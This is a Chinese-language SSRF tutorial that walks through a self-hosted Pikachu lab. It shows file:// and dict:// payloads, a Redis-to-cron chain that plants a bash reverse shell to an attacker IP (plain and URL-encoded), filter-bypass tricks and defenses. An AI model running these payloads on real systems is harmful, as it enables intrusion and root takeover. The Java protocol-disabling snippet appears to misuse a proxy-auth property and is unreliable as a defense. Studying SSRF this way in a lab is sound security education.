[漏洞篇]SSRF漏洞詳解

免責聲明： 本文主要講解漏洞原理，以及防御手段，旨在幫助大家更好的了解漏洞危害，以及開發中所需要的點，切勿拿來做違法事情，否則后果自負。

一、介紹

概念

SSRF：服務端請求偽造，意思就是偽造服務器對內網中的其他服務發起攻擊（冒充服務器身份與其他服務器通信，獲取敏感信息，shell等）。

• SSRF (全稱：Server-Side Request Forgery:服務器端請求偽造) 是一種由攻擊者構造形成由服務端發起請求的一個安全漏洞。一般情況下，SSRF 攻擊的目標是從外網無法訪問的內部系統。

• 攻擊者從外網通過 SSRF 攻擊訪問到內網，接著對內網的應用展開攻擊，這些應用包括但不限于 MySQL，Redis，SMTP 等等

• 與CSRF的區別及聯系：

  1. SSRF：欺騙服務器“自己人”去干壞事。
  2. CSRF：欺騙瀏覽器“以你的名義”去干壞事。

危害

主要分為兩個方向，SSRF 利用相關的危險函數；SSRF 可利用的協議操作

• 高危：可穿透內網邊界，導致內網滲透、數據泄露、遠程代碼執行（RCE）等。
• 常見攻擊場景：
  • 讀取服務器本地文件（如 /etc/passwd）
  • 掃描內網服務（如： Redis、MySQL 未授權訪問）
  • 訪問云服務元數據（如 AWS/Aliyun 的 IAM 憑證）
  • 攻擊內網應用（如 Jenkins、Kubernetes API）
  • 作為跳板發起DDoS攻擊
    …

原理

SSRF 形成的原因大都是由于服務端提供了從其他服務器應用獲取數據的功能且沒有對目標地址做過濾與限制。比如從指定 URL 地址獲取網頁文本內容，加載指定地址的圖片，下載等等。

觸發條件：

1. 服務端存在從客戶端獲取URL參數的接口
2. 服務端直接使用該URL發起網絡請求（如 HTTP、FTP、FILE、DICT 協議）
3. 未對URL協議、目標地址、路徑做嚴格過濾

二、實戰演示

靶場搭建

1. docker拉取并運行容器

# 使用docker搭建SSRF靶場
docker run -d -p 8765:80 8023/pikachu-expect:latest

2. 訪問：http://localhost:8765/
3. 初始化靶場：
   
4. 點擊安裝/初始化：
   

實戰

Pass01：SSRF(curl)

1. 左側導航欄選擇SSRF(curl)
   
2. 點擊訪問
   
   

這里將URL后面的127.0.0.1換成其他服務器IP也一樣，只要是內網的服務IP

下面我們將針對CURL類型進行SSRF攻擊：

1、通過網址訪問鏈接

比如說修改url為:url=http://www.baidu.com，訪問百度頁面：

當然我們也可以通過此方式向內網中的其他服務發起GET請求。

2、利用file協議查看本地文件

修改url為:url=file:///etc/passwd，查看敏感文件的內容：

3、dict協議掃描內網主機開放端口

使用dict協議可以獲取內網主機開放端口相應服務的指紋信息，比如說內網主機開了http端口的話，可以修改url為:url=dict://172.17.0.3:80

• dict協議 是一種字典協議，常用于探測內網主機和端口開放情況。它可以執行一些服務的命令，如Redis

如果頁面未反顯內容則表示未開放對應端口或被攔截：

Pass02：file_get_content

進入第二關，我們可以發現本關是通過file協議來進行數據的獲取。因此我們可以利用file協議進行攻擊。

1、file讀取本地文件

修改file為:file=file://etc/passwd，查看文件的內容：

2、http協議請求內網資源

這里請求內網其他機器的資源，修改file為:file=http://172.17.0.3/hack.html，查看文件的內容：

這里的內網資源是本地又搭建了一個docker nginx，因為docker搭建的容器默認會有一個共同docker網卡，剛好可以模擬內網資源。

# docker搭建nginx
docker pull nginx
docker run -d -p 8888:80 nginx
#更新apt鏡像
apt update
#安裝ifconfig命令，方便查看ip地址
apt install net-tools

SSRF反彈Shell

①環境準備

1. 準備一臺服務器（docker搭建也可），安裝并運行redis
2. redis需要關閉保護模式等

##允許所有IP訪問（關閉保護模式）
bind 0.0.0.0
protected-mode no

3. 準備一個攻擊機器（我這里以我本地Mac為例），且與ssrf靶場和redis互通
4. ssrf靶場(172.17.0.2)與redis(172.17.0.4)互通

②探測內網服務端口

根據常用端口進行探測，我這里以Redis 6379為例。可以看到下面頁面返回OK，表示命令成功運行，表示ssrf靶場（172.17.0.2）可以與redis(172.17.0.4)，處在同一個內網中。可以實施SSRF漏洞以反彈shell。

• 我這里的localhost:8765實際訪問的是docker的ssrf靶場(172.17.0.2)

③通過cron實現反彈shell

1. 本地mac（攻擊機）執行命令，監聽端口

nc -lv 7777

2. 通過dict協議驗證是否可以正常執行redis命令

首先我們通過redis ping命令，發現dict協議可以執行redis命令并正常返回結果。

3. 通過redis 備份文件+cron表達式實現核心反彈邏輯

# 1 利用SSRF漏洞：
攻擊者通過Web應用的SSRF漏洞，誘使服務器向內部Redis服務發送惡意請求。
# 2 攻擊Redis服務：
Redis未設置密碼，允許遠程執行命令。
通過Redis的CONFIG SET命令修改持久化目錄和文件名，指向Cron任務目錄（如/var/spool/cron/root）。
# 3 寫入反彈Shell命令到Cron任務文件
配置Cron定時任務每分鐘執行一次。
# 4 Cron定時任務觸發反彈Shell：
Cron服務讀取惡意任務文件，定時執行反彈Shell命令。目標服務器主動連接攻擊機，建立反向Shell會話。

# 設置要操作的路徑為定時任務目錄
dict://172.17.0.4:6379/config set dir /var/spool/cron/crontabs # 在定時任務目錄下創建 root 的定時任務文件
dict://172.17.0.4:6379/config set dbfilename root # 寫入 Bash 反彈 shell 的payload (10.35.16.14為攻擊機IP)，如果執行失敗，則對下面redis命令進行urlencode
# dict://172.17.0.4:6379/set x "\n* * * * * /bin/bash -l -c '/bin/bash -i >& /dev/tcp/10.35.16.14/7777 0>&1'\n" 
dict://172.17.0.4:6379/set+x+%22%5cn*+*+*+*+*+%2fbin%2fbash+-l+-c+%27%2fbin%2fbash+-i+%3e%26+%2fdev%2ftcp%2f10.35.16.14%2f7777+0%3e%261%27%5cn%22+# 執行redis save備份數據命令，觸發文件落地
dict://172.17.0.4:6379/save

拓展：

• 反彈shell：假設你是一個黑客，目標服務器是一棟有保安（防火墻）的大樓。你想進入大樓，但保安禁止外人進入（防火墻阻擋外部主動連接）。于是你在大樓內安裝一個“自動撥號器”（反彈Shell腳本），讓它定時打電話到你的手機（攻擊機IP+端口），建立一條秘密通話通道（Shell連接）。這樣，保安不會阻止大樓內部主動撥出的電話，你就能遠程控制大樓了。
• 簡單來說反彈shell：目標服務器主動連接攻擊者的監聽端口（繞過防火墻，常用于內網滲透）

4. 查看Redis配置是否寫入成功
   
5. 查看cron定時任務文件是否寫入成功：
   
6. 等待cron定時任務運行（我上面配置的是每分鐘執行一次），因此一分鐘之后可以看到，反彈shell成功：
   
   以root身份對服務器進行操作（創建文件，查看效果）：
   
   針對此情況，對應防御手段：

1. Redis加固：設置強密碼（requirepass）。
2. 禁用高危命令（ config set dir xxx）。
3. 綁定IP（bind 127.0.0.1）。
4. Cron防護：限制Cron任務目錄權限（chmod 600 /var/spool/cron/*）。使用cron.allow和cron.deny控制用戶權限。
5. SSRF防御：禁用危險協議（allow_url_fopen=Off）。校驗請求目標是否為合法域名/IP。

三、繞過手段

1.@符號繞過

在某地址1后添加@再次添加地址2，瀏覽器會自動返回地址2數據

http://www.xxx.com@www.baidu.com/

2.IP編碼繞過

例如：120.26.86.156
二進制 = 1111000000110100101011010011100
十六進制 = 0x781A569C
十進制 = 2014992028

3. 轉換短網址

例：
http://www.kxsy.work/ = http://www。kxsy。work/
localhost或者0.0.0.0

4. 302重定向跳轉繞過

若傳入的私網地址被限制可以使用302重定向繞過。這需要一臺公網服務器和它的公網IP，在服務器中創建重定向的代碼文件，提交公網IP路徑下的重定向代碼文件，使SSRF漏洞服務器或主機訪問從而重定向到自己內網地址或本機地址。

• 通過構造一個外部可控的重定向服務，讓服務器在第一次校驗URL合法性后，通過HTTP 302狀態碼跳轉至內網目標地址。由于部分SSRF防護僅校驗初始請求的URL，而未跟蹤后續跳轉，從而繞過限制

5. xip.io繞過：會將解析到子域

利用xip.io等動態DNS服務，將域名解析到任意IP地址。例如，10.0.0.1.xip.io會自動解析到10.0.0.1，從而繞過基于黑名單的IP過濾機制

6. 利用Enclosed alphanumerics繞過

利用Enclosed alphanumerics
???????.??? >>> http://example.com

7. 其他協議繞過（Dict、Gopher等）

配合File、GOPHER等協議的對目標進行信息探測。

例如使用非http協議：

• gopher://：構造Redis未授權訪問命令
• dict://：探測端口服務

四、防御手段

1、過濾返回的信息

• 禁止返回詳細錯誤信息（如端口狀態），避免信息泄露。
• 對響應內容進行安全檢查，防止敏感數據外傳。

2、自定義端口的錯誤頁面，避免被區分

3、限制端口/IP請求

4、 限制協議等

// Java示例：禁用file、gopher協議
System.setProperty("jdk.http.auth.proxying.disabledSchemes", "file gopher");

5、URL白名單訪問資源

6. 服務降權

以非root用戶運行服務進程，使用容器隔離（如Docker）

相關文章：
https://xz.aliyun.com/news/7001
https://blog.csdn.net/web22050702/article/details/145682941
https://www.gbsec.top/